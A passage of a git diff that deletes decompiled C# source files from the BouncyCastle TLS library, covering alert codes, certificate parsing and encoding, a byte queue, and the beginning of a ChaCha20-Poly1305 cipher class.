TlsEccUtilities.IsEccCipherSuite(mSelectedCipherSuite)) - { - mServerECPointFormats = new byte[3] { 0, 1, 2 }; - TlsEccUtilities.AddSupportedPointFormatsExtension(CheckServerExtensions(), mServerECPointFormats); - } - return mServerExtensions; - } - - public virtual IList GetServerSupplementalData() - { - return null; - } - - public abstract TlsCredentials GetCredentials(); - - public virtual CertificateStatus GetCertificateStatus() - { - return null; - } - - public abstract TlsKeyExchange GetKeyExchange(); - - public virtual CertificateRequest GetCertificateRequest() - { - return null; - } - - public virtual void ProcessClientSupplementalData(IList clientSupplementalData) - { - if (clientSupplementalData != null) - { - throw new TlsFatalAlert(10); - } - } - - public virtual void NotifyClientCertificate(Certificate clientCertificate) - { - throw new TlsFatalAlert(80); - } - - public override TlsCompression GetCompression() - { - if (mSelectedCompressionMethod == 0) - { - return new TlsNullCompression(); - } - throw new TlsFatalAlert(80); - } - - public override TlsCipher GetCipher() - { - int encryptionAlgorithm = TlsUtilities.GetEncryptionAlgorithm(mSelectedCipherSuite); - int macAlgorithm = TlsUtilities.GetMacAlgorithm(mSelectedCipherSuite); - return mCipherFactory.CreateCipher(mContext, encryptionAlgorithm, macAlgorithm); - } - - public virtual NewSessionTicket GetNewSessionTicket() - { - return new NewSessionTicket(0L, TlsUtilities.EmptyBytes); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsSigner.cs deleted file mode 100644 index d1925f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsSigner.cs +++ /dev/null @@ -1,41 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsSigner : TlsSigner -{ - protected TlsContext mContext; - - public virtual void Init(TlsContext context) - { - mContext = context; - } - - public virtual byte[] GenerateRawSignature(AsymmetricKeyParameter privateKey, byte[] md5AndSha1) - { - return GenerateRawSignature(null, privateKey, md5AndSha1); - } - - public abstract byte[] GenerateRawSignature(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey, byte[] hash); - - public virtual bool VerifyRawSignature(byte[] sigBytes, AsymmetricKeyParameter publicKey, byte[] md5AndSha1) - { - return VerifyRawSignature(null, sigBytes, publicKey, md5AndSha1); - } - - public abstract bool VerifyRawSignature(SignatureAndHashAlgorithm algorithm, byte[] sigBytes, AsymmetricKeyParameter publicKey, byte[] hash); - - public virtual ISigner CreateSigner(AsymmetricKeyParameter privateKey) - { - return CreateSigner(null, privateKey); - } - - public abstract ISigner CreateSigner(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey); - - public virtual ISigner CreateVerifyer(AsymmetricKeyParameter publicKey) - { - return CreateVerifyer(null, publicKey); - } - - public abstract ISigner CreateVerifyer(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter publicKey); - - public abstract bool IsValidPublicKey(AsymmetricKeyParameter publicKey); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsSignerCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsSignerCredentials.cs deleted file mode 100644 index ed1bcf2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsSignerCredentials.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsSignerCredentials : AbstractTlsCredentials, TlsSignerCredentials, TlsCredentials -{ - public virtual SignatureAndHashAlgorithm SignatureAndHashAlgorithm - { - get - { - throw new InvalidOperationException("TlsSignerCredentials implementation does not support (D)TLS 1.2+"); - } - } - - public abstract byte[] GenerateCertificateSignature(byte[] hash); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AlertDescription.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AlertDescription.cs deleted file mode 100644 index 08e053d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AlertDescription.cs +++ /dev/null @@ -1,110 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AlertDescription -{ - public const byte close_notify = 0; - - public const byte unexpected_message = 10; - - public const byte bad_record_mac = 20; - - public const byte decryption_failed = 21; - - public const byte record_overflow = 22; - - public const byte decompression_failure = 30; - - public const byte handshake_failure = 40; - - public const byte no_certificate = 41; - - public const byte bad_certificate = 42; - - public const byte unsupported_certificate = 43; - - public const byte certificate_revoked = 44; - - public const byte certificate_expired = 45; - - public const byte certificate_unknown = 46; - - public const byte illegal_parameter = 47; - - public const byte unknown_ca = 48; - - public const byte access_denied = 49; - - public const byte decode_error = 50; - - public const byte decrypt_error = 51; - - public const byte export_restriction = 60; - - public const byte protocol_version = 70; - - public const byte insufficient_security = 71; - - public const byte internal_error = 80; - - public const byte user_canceled = 90; - - public const byte no_renegotiation = 100; - - public const byte unsupported_extension = 110; - - public const byte certificate_unobtainable = 111; - - public const byte unrecognized_name = 112; - - public const byte bad_certificate_status_response = 113; - - public const byte bad_certificate_hash_value = 114; - - public const byte unknown_psk_identity = 115; - - public const byte inappropriate_fallback = 86; - - public static string GetName(byte alertDescription) - { - return alertDescription switch - { - 0 => "close_notify", - 10 => "unexpected_message", - 20 => "bad_record_mac", - 21 => "decryption_failed", - 22 => "record_overflow", - 30 => "decompression_failure", - 40 => "handshake_failure", - 41 => "no_certificate", - 42 => "bad_certificate", - 43 => "unsupported_certificate", - 44 => "certificate_revoked", - 45 => "certificate_expired", - 46 => "certificate_unknown", - 47 => "illegal_parameter", - 48 => "unknown_ca", - 49 => "access_denied", - 50 => "decode_error", - 51 => "decrypt_error", - 60 => "export_restriction", - 70 => "protocol_version", - 71 => "insufficient_security", - 80 => "internal_error", - 90 => "user_canceled", - 100 => "no_renegotiation", - 110 => "unsupported_extension", - 111 => "certificate_unobtainable", - 112 => "unrecognized_name", - 113 => "bad_certificate_status_response", - 114 => "bad_certificate_hash_value", - 115 => "unknown_psk_identity", - 86 => "inappropriate_fallback", - _ => "UNKNOWN", - }; - } - - public static string GetText(byte alertDescription) - { - return GetName(alertDescription) + "(" + alertDescription + ")"; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AlertLevel.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AlertLevel.cs deleted file mode 100644 index 0f15521..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AlertLevel.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AlertLevel -{ - public const byte warning = 1; - - public const byte fatal = 2; - - public static string GetName(byte alertDescription) - { - return alertDescription switch - { - 1 => "warning", - 2 => "fatal", - _ => "UNKNOWN", - }; - } - - public static string GetText(byte alertDescription) - { - return GetName(alertDescription) + "(" + alertDescription + ")"; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/BasicTlsPskIdentity.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/BasicTlsPskIdentity.cs deleted file mode 100644 index 3c470ef..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/BasicTlsPskIdentity.cs +++ /dev/null @@ -1,40 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class BasicTlsPskIdentity : TlsPskIdentity -{ - protected byte[] mIdentity; - - protected byte[] mPsk; - - public BasicTlsPskIdentity(byte[] identity, byte[] psk) - { - mIdentity = Arrays.Clone(identity); - mPsk = Arrays.Clone(psk); - } - - public BasicTlsPskIdentity(string identity, byte[] psk) - { - mIdentity = Strings.ToUtf8ByteArray(identity); - mPsk = Arrays.Clone(psk); - } - - public virtual void SkipIdentityHint() - { - } - - public virtual void NotifyIdentityHint(byte[] psk_identity_hint) - { - } - - public virtual byte[] GetPskIdentity() - { - return mIdentity; - } - - public virtual byte[] GetPsk() - { - return mPsk; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/BulkCipherAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/BulkCipherAlgorithm.cs deleted file mode 100644 index e42c09c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/BulkCipherAlgorithm.cs +++ /dev/null @@ -1,20 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class BulkCipherAlgorithm -{ - public const int cls_null = 0; - - public const int rc4 = 1; - - public const int rc2 = 2; - - public const int des = 3; - - public const int cls_3des = 4; - - public const int des40 = 5; - - public const int aes = 6; - - public const int idea = 7; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ByteQueue.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ByteQueue.cs deleted file mode 100644 index b14ca5f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ByteQueue.cs +++ /dev/null @@ -1,147 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class ByteQueue -{ - private const int DefaultCapacity = 1024; - - private byte[] databuf; - - private int skipped = 0; - - private int available = 0; - - private bool readOnlyBuf = false; - - public int Available => available; - - public static int NextTwoPow(int i) - { - i |= i >> 1; - i |= i >> 2; - i |= i >> 4; - i |= i >> 8; - i |= i >> 16; - return i + 1; - } - - public ByteQueue() - : this(1024) - { - } - - public ByteQueue(int capacity) - { - databuf = ((capacity == 0) ? TlsUtilities.EmptyBytes : new byte[capacity]); - } - - public ByteQueue(byte[] buf, int off, int len) - { - databuf = buf; - skipped = off; - available = len; - readOnlyBuf = true; - } - - public void AddData(byte[] data, int offset, int len) - { - if (readOnlyBuf) - { - throw new InvalidOperationException("Cannot add data to read-only buffer"); - } - if (skipped + available + len > databuf.Length) - { - int num = NextTwoPow(available + len); - if (num > databuf.Length) - { - byte[] destinationArray = new byte[num]; - Array.Copy(databuf, skipped, destinationArray, 0, available); - databuf = destinationArray; - } - else - { - Array.Copy(databuf, skipped, databuf, 0, available); - } - skipped = 0; - } - Array.Copy(data, offset, databuf, skipped + available, len); - available += len; - } - - public void CopyTo(Stream output, int length) - { - if (length > available) - { - throw new InvalidOperationException("Cannot copy " + length + " bytes, only got " + available); - } - output.Write(databuf, skipped, length); - } - - public void Read(byte[] buf, int offset, int len, int skip) - { - if (buf.Length - offset < len) - { - throw new ArgumentException("Buffer size of " + buf.Length + " is too small for a read of " + len + " bytes"); - } - if (available - skip < len) - { - throw new InvalidOperationException("Not enough data to read"); - } - Array.Copy(databuf, skipped + skip, buf, offset, len); - } - - public MemoryStream ReadFrom(int length) - { - if (length > available) - { - throw new InvalidOperationException("Cannot read " + length + " bytes, only got " + available); - } - int index = skipped; - available -= length; - skipped += length; - return new MemoryStream(databuf, index, length, writable: false); - } - - public void RemoveData(int i) - { - if (i > available) - { - throw new InvalidOperationException("Cannot remove " + i + " bytes, only got " + available); - } - available -= i; - skipped += i; - } - - public void RemoveData(byte[] buf, int off, int len, int skip) - { - Read(buf, off, len, skip); - RemoveData(skip + len); - } - - public byte[] RemoveData(int len, int skip) - { - byte[] array = new byte[len]; - RemoveData(array, 0, len, skip); - return array; - } - - public void Shrink() - { - if (available == 0) - { - databuf = TlsUtilities.EmptyBytes; - skipped = 0; - return; - } - int num = NextTwoPow(available); - if (num < databuf.Length) - { - byte[] destinationArray = new byte[num]; - Array.Copy(databuf, skipped, destinationArray, 0, available); - databuf = destinationArray; - skipped = 0; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ByteQueueStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ByteQueueStream.cs deleted file mode 100644 index f6153c8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ByteQueueStream.cs +++ /dev/null @@ -1,106 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class ByteQueueStream : Stream -{ - private readonly ByteQueue buffer; - - public virtual int Available => buffer.Available; - - public override bool CanRead => true; - - public override bool CanSeek => false; - - public override bool CanWrite => true; - - public override long Length - { - get - { - throw new NotSupportedException(); - } - } - - public override long Position - { - get - { - throw new NotSupportedException(); - } - set - { - throw new NotSupportedException(); - } - } - - public ByteQueueStream() - { - buffer = new ByteQueue(); - } - - public override void Flush() - { - } - - public virtual int Peek(byte[] buf) - { - int num = System.Math.Min(buffer.Available, buf.Length); - buffer.Read(buf, 0, num, 0); - return num; - } - - public virtual int Read(byte[] buf) - { - return Read(buf, 0, buf.Length); - } - - public override int Read(byte[] buf, int off, int len) - { - int num = System.Math.Min(buffer.Available, len); - buffer.RemoveData(buf, off, num, 0); - return num; - } - - public override int ReadByte() - { - if (buffer.Available == 0) - { - return -1; - } - return buffer.RemoveData(1, 0)[0] & 0xFF; - } - - public override long Seek(long offset, SeekOrigin origin) - { - throw new NotSupportedException(); - } - - public override void SetLength(long value) - { - throw new NotSupportedException(); - } - - public virtual int Skip(int n) - { - int num = System.Math.Min(buffer.Available, n); - buffer.RemoveData(num); - return num; - } - - public virtual void Write(byte[] buf) - { - buffer.AddData(buf, 0, buf.Length); - } - - public override void Write(byte[] buf, int off, int len) - { - buffer.AddData(buf, off, len); - } - - public override void WriteByte(byte b) - { - buffer.AddData(new byte[1] { b }, 0, 1); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertChainType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertChainType.cs deleted file mode 100644 index 92655d2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertChainType.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class CertChainType -{ - public const byte individual_certs = 0; - - public const byte pkipath = 1; - - public static bool IsValid(byte certChainType) - { - if (certChainType >= 0) - { - return certChainType <= 1; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Certificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Certificate.cs deleted file mode 100644 index 6a82144..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Certificate.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class Certificate -{ - public static readonly Certificate EmptyChain = new Certificate(new X509CertificateStructure[0]); - - protected readonly X509CertificateStructure[] mCertificateList; - - public virtual int Length => mCertificateList.Length; - - public virtual bool IsEmpty => mCertificateList.Length == 0; - - public Certificate(X509CertificateStructure[] certificateList) - { - if (certificateList == null) - { - throw new ArgumentNullException("certificateList"); - } - mCertificateList = certificateList; - } - - public virtual X509CertificateStructure[] GetCertificateList() - { - return CloneCertificateList(); - } - - public virtual X509CertificateStructure GetCertificateAt(int index) - { - return mCertificateList[index]; - } - - public virtual void Encode(Stream output) - { - IList list = Platform.CreateArrayList(mCertificateList.Length); - int num = 0; - X509CertificateStructure[] array = mCertificateList; - foreach (Asn1Encodable asn1Encodable in array) - { - byte[] encoded = asn1Encodable.GetEncoded("DER"); - list.Add(encoded); - num += encoded.Length + 3; - } - TlsUtilities.CheckUint24(num); - TlsUtilities.WriteUint24(num, output); - foreach (byte[] item in list) - { - TlsUtilities.WriteOpaque24(item, output); - } - } - - public static Certificate Parse(Stream input) - { - int num = TlsUtilities.ReadUint24(input); - if (num == 0) - { - return EmptyChain; - } - byte[] buffer = TlsUtilities.ReadFully(num, input); - MemoryStream memoryStream = new MemoryStream(buffer, writable: false); - IList list = Platform.CreateArrayList(); - while (memoryStream.Position < memoryStream.Length) - { - byte[] encoding = TlsUtilities.ReadOpaque24(memoryStream); - Asn1Object obj = TlsUtilities.ReadAsn1Object(encoding); - list.Add(X509CertificateStructure.GetInstance(obj)); - } - X509CertificateStructure[] array = new X509CertificateStructure[list.Count]; - for (int i = 0; i < list.Count; i++) - { - array[i] = (X509CertificateStructure)list[i]; - } - return new Certificate(array); - } - - protected virtual X509CertificateStructure[] CloneCertificateList() - { - return (X509CertificateStructure[])mCertificateList.Clone(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateRequest.cs deleted file mode 100644 index 5178ec2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateRequest.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class CertificateRequest -{ - protected readonly byte[] mCertificateTypes; - - protected readonly IList mSupportedSignatureAlgorithms; - - protected readonly IList mCertificateAuthorities; - - public virtual byte[] CertificateTypes => mCertificateTypes; - - public virtual IList SupportedSignatureAlgorithms => mSupportedSignatureAlgorithms; - - public virtual IList CertificateAuthorities => mCertificateAuthorities; - - public CertificateRequest(byte[] certificateTypes, IList supportedSignatureAlgorithms, IList certificateAuthorities) - { - mCertificateTypes = certificateTypes; - mSupportedSignatureAlgorithms = supportedSignatureAlgorithms; - mCertificateAuthorities = certificateAuthorities; - } - - public virtual void Encode(Stream output) - { - if (mCertificateTypes == null || mCertificateTypes.Length == 0) - { - TlsUtilities.WriteUint8(0, output); - } - else - { - TlsUtilities.WriteUint8ArrayWithUint8Length(mCertificateTypes, output); - } - if (mSupportedSignatureAlgorithms != null) - { - TlsUtilities.EncodeSupportedSignatureAlgorithms(mSupportedSignatureAlgorithms, allowAnonymous: false, output); - } - if (mCertificateAuthorities == null || mCertificateAuthorities.Count < 1) - { - TlsUtilities.WriteUint16(0, output); - return; - } - IList list = Platform.CreateArrayList(mCertificateAuthorities.Count); - int num = 0; - foreach (Asn1Encodable mCertificateAuthority in mCertificateAuthorities) - { - byte[] encoded = mCertificateAuthority.GetEncoded("DER"); - list.Add(encoded); - num += encoded.Length + 2; - } - TlsUtilities.CheckUint16(num); - TlsUtilities.WriteUint16(num, output); - foreach (byte[] item in list) - { - TlsUtilities.WriteOpaque16(item, output); - } - } - - public static CertificateRequest Parse(TlsContext context, Stream input) - { - int num = TlsUtilities.ReadUint8(input); - byte[] array = new byte[num]; - for (int i = 0; i < num; i++) - { - array[i] = TlsUtilities.ReadUint8(input); - } - IList supportedSignatureAlgorithms = null; - if (TlsUtilities.IsTlsV12(context)) - { - supportedSignatureAlgorithms = TlsUtilities.ParseSupportedSignatureAlgorithms(allowAnonymous: false, input); - } - IList list = Platform.CreateArrayList(); - byte[] buffer = TlsUtilities.ReadOpaque16(input); - MemoryStream memoryStream = new MemoryStream(buffer, writable: false); - while (memoryStream.Position < memoryStream.Length) - { - byte[] encoding = TlsUtilities.ReadOpaque16(memoryStream); - Asn1Object obj = TlsUtilities.ReadDerObject(encoding); - list.Add(X509Name.GetInstance(obj)); - } - return new CertificateRequest(array, supportedSignatureAlgorithms, list); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatus.cs deleted file mode 100644 index 0dd669e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatus.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1.Ocsp; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class CertificateStatus -{ - protected readonly byte mStatusType; - - protected readonly object mResponse; - - public virtual byte StatusType => mStatusType; - - public virtual object Response => mResponse; - - public CertificateStatus(byte statusType, object response) - { - if (!IsCorrectType(statusType, response)) - { - throw new ArgumentException("not an instance of the correct type", "response"); - } - mStatusType = statusType; - mResponse = response; - } - - public virtual OcspResponse GetOcspResponse() - { - if (!IsCorrectType(1, mResponse)) - { - throw new InvalidOperationException("'response' is not an OcspResponse"); - } - return (OcspResponse)mResponse; - } - - public virtual void Encode(Stream output) - { - TlsUtilities.WriteUint8(mStatusType, output); - byte b = mStatusType; - if (b == 1) - { - byte[] encoded = ((OcspResponse)mResponse).GetEncoded("DER"); - TlsUtilities.WriteOpaque24(encoded, output); - return; - } - throw new TlsFatalAlert(80); - } - - public static CertificateStatus Parse(Stream input) - { - byte b = TlsUtilities.ReadUint8(input); - byte b2 = b; - if (b2 == 1) - { - byte[] encoding = TlsUtilities.ReadOpaque24(input); - object instance = OcspResponse.GetInstance(TlsUtilities.ReadDerObject(encoding)); - return new CertificateStatus(b, instance); - } - throw new TlsFatalAlert(50); - } - - protected static bool IsCorrectType(byte statusType, object response) - { - byte b = statusType; - if (b == 1) - { - return response is OcspResponse; - } - throw new ArgumentException("unsupported CertificateStatusType", "statusType"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatusRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatusRequest.cs deleted file mode 100644 index 3780522..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatusRequest.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class CertificateStatusRequest -{ - protected readonly byte mStatusType; - - protected readonly object mRequest; - - public virtual byte StatusType => mStatusType; - - public virtual object Request => mRequest; - - public CertificateStatusRequest(byte statusType, object request) - { - if (!IsCorrectType(statusType, request)) - { - throw new ArgumentException("not an instance of the correct type", "request"); - } - mStatusType = statusType; - mRequest = request; - } - - public virtual OcspStatusRequest GetOcspStatusRequest() - { - if (!IsCorrectType(1, mRequest)) - { - throw new InvalidOperationException("'request' is not an OCSPStatusRequest"); - } - return (OcspStatusRequest)mRequest; - } - - public virtual void Encode(Stream output) - { - TlsUtilities.WriteUint8(mStatusType, output); - byte b = mStatusType; - if (b == 1) - { - ((OcspStatusRequest)mRequest).Encode(output); - return; - } - throw new TlsFatalAlert(80); - } - - public static CertificateStatusRequest Parse(Stream input) - { - byte b = TlsUtilities.ReadUint8(input); - byte b2 = b; - if (b2 == 1) - { - object request = OcspStatusRequest.Parse(input); - return new CertificateStatusRequest(b, request); - } - throw new TlsFatalAlert(50); - } - - protected static bool IsCorrectType(byte statusType, object request) - { - byte b = statusType; - if (b == 1) - { - return request is OcspStatusRequest; - } - throw new ArgumentException("unsupported CertificateStatusType", "statusType"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatusType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatusType.cs deleted file mode 100644 index 32a62ad..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateStatusType.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class CertificateStatusType -{ - public const byte ocsp = 1; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateType.cs deleted file mode 100644 index 0aeee83..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateType.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public class CertificateType -{ - public const byte X509 = 0; - - public const byte OpenPGP = 1; - - public const byte RawPublicKey = 2; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateUrl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateUrl.cs deleted file mode 100644 index c4c382c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CertificateUrl.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class CertificateUrl -{ - internal class ListBuffer16 : MemoryStream - { - internal ListBuffer16() - { - TlsUtilities.WriteUint16(0, this); - } - - internal void EncodeTo(Stream output) - { - long num = Length - 2; - TlsUtilities.CheckUint16(num); - Position = 0L; - TlsUtilities.WriteUint16((int)num, this); - Streams.WriteBufTo(this, output); - Platform.Dispose(this); - } - } - - protected readonly byte mType; - - protected readonly IList mUrlAndHashList; - - public virtual byte Type => mType; - - public virtual IList UrlAndHashList => mUrlAndHashList; - - public CertificateUrl(byte type, IList urlAndHashList) - { - if (!CertChainType.IsValid(type)) - { - throw new ArgumentException("not a valid CertChainType value", "type"); - } - if (urlAndHashList == null || urlAndHashList.Count < 1) - { - throw new ArgumentException("must have length > 0", "urlAndHashList"); - } - mType = type; - mUrlAndHashList = urlAndHashList; - } - - public virtual void Encode(Stream output) - { - TlsUtilities.WriteUint8(mType, output); - ListBuffer16 listBuffer = new ListBuffer16(); - foreach (UrlAndHash mUrlAndHash in mUrlAndHashList) - { - mUrlAndHash.Encode(listBuffer); - } - listBuffer.EncodeTo(output); - } - - public static CertificateUrl parse(TlsContext context, Stream input) - { - byte b = TlsUtilities.ReadUint8(input); - if (!CertChainType.IsValid(b)) - { - throw new TlsFatalAlert(50); - } - int num = TlsUtilities.ReadUint16(input); - if (num < 1) - { - throw new TlsFatalAlert(50); - } - byte[] buffer = TlsUtilities.ReadFully(num, input); - MemoryStream memoryStream = new MemoryStream(buffer, writable: false); - IList list = Platform.CreateArrayList(); - while (memoryStream.Position < memoryStream.Length) - { - UrlAndHash value = UrlAndHash.Parse(context, memoryStream); - list.Add(value); - } - return new CertificateUrl(b, list); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Chacha20Poly1305.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Chacha20Poly1305.cs deleted file mode 100644 index 8b64f3b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Chacha20Poly1305.cs +++ /dev/null @@ -1,174 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class Chacha20Poly1305 : TlsCipher -{ - private static readonly byte[] Zeroes = new byte[15]; - - protected readonly TlsContext context; - - protected readonly ChaCha7539Engine encryptCipher; - - protected readonly ChaCha7539Engine decryptCipher; - - protected readonly byte[] encryptIV; - - protected readonly byte[] decryptIV; - - public Chacha20Poly1305(TlsContext context) - { - if (!TlsUtilities.IsTlsV12(context)) - { - throw new TlsFatalAlert(80); - } - this.context = context; - int num = 32; - int num2 = 12; - int num3 = 2 * num + 2 * num2; - byte[] array = TlsUtilities.CalculateKeyBlock(context, num3); - int num4 = 0; - KeyParameter keyParameter = new KeyParameter(array, num4, num); - num4 += num; - KeyParameter keyParameter2 = new KeyParameter(array, num4, num); - num4 += num; - byte[] array2 = Arrays.CopyOfRange(array, num4, num4 + num2); - num4 += num2; - byte[] array3 = Arrays.CopyOfRange(array, num4, num4 + num2); - num4 += num2; - if (num4 != num3) - { - throw new TlsFatalAlert(80); - } - encryptCipher = new ChaCha7539Engine(); - decryptCipher = new ChaCha7539Engine(); - KeyParameter parameters; - KeyParameter parameters2; - if (context.IsServer) - { - parameters = keyParameter2; - parameters2 = keyParameter; - encryptIV = array3; - decryptIV = array2; - } - else - { - parameters = keyParameter; - parameters2 = keyParameter2; - encryptIV = array2; - decryptIV = array3; - } - encryptCipher.Init(forEncryption: true, new ParametersWithIV(parameters, encryptIV)); - decryptCipher.Init(forEncryption: false, new ParametersWithIV(parameters2, decryptIV)); - } - - public virtual int GetPlaintextLimit(int ciphertextLimit) - { - return ciphertextLimit - 16; - } - - public virtual byte[] EncodePlaintext(long seqNo, byte type, byte[] plaintext, int offset, int len) - { - KeyParameter macKey = InitRecord(encryptCipher, forEncryption: true, seqNo, encryptIV); - byte[] array = new byte[len + 16]; - encryptCipher.ProcessBytes(plaintext, offset, len, array, 0); - byte[] additionalData = GetAdditionalData(seqNo, type, len); - byte[] array2 = CalculateRecordMac(macKey, additionalData, array, 0, len); - Array.Copy(array2, 0, array, len, array2.Length); - return array; - } - - public virtual byte[] DecodeCiphertext(long seqNo, byte type, byte[] ciphertext, int offset, int len) - { - if (GetPlaintextLimit(len) < 0) - { - throw new TlsFatalAlert(50); - } - KeyParameter macKey = InitRecord(decryptCipher, forEncryption: 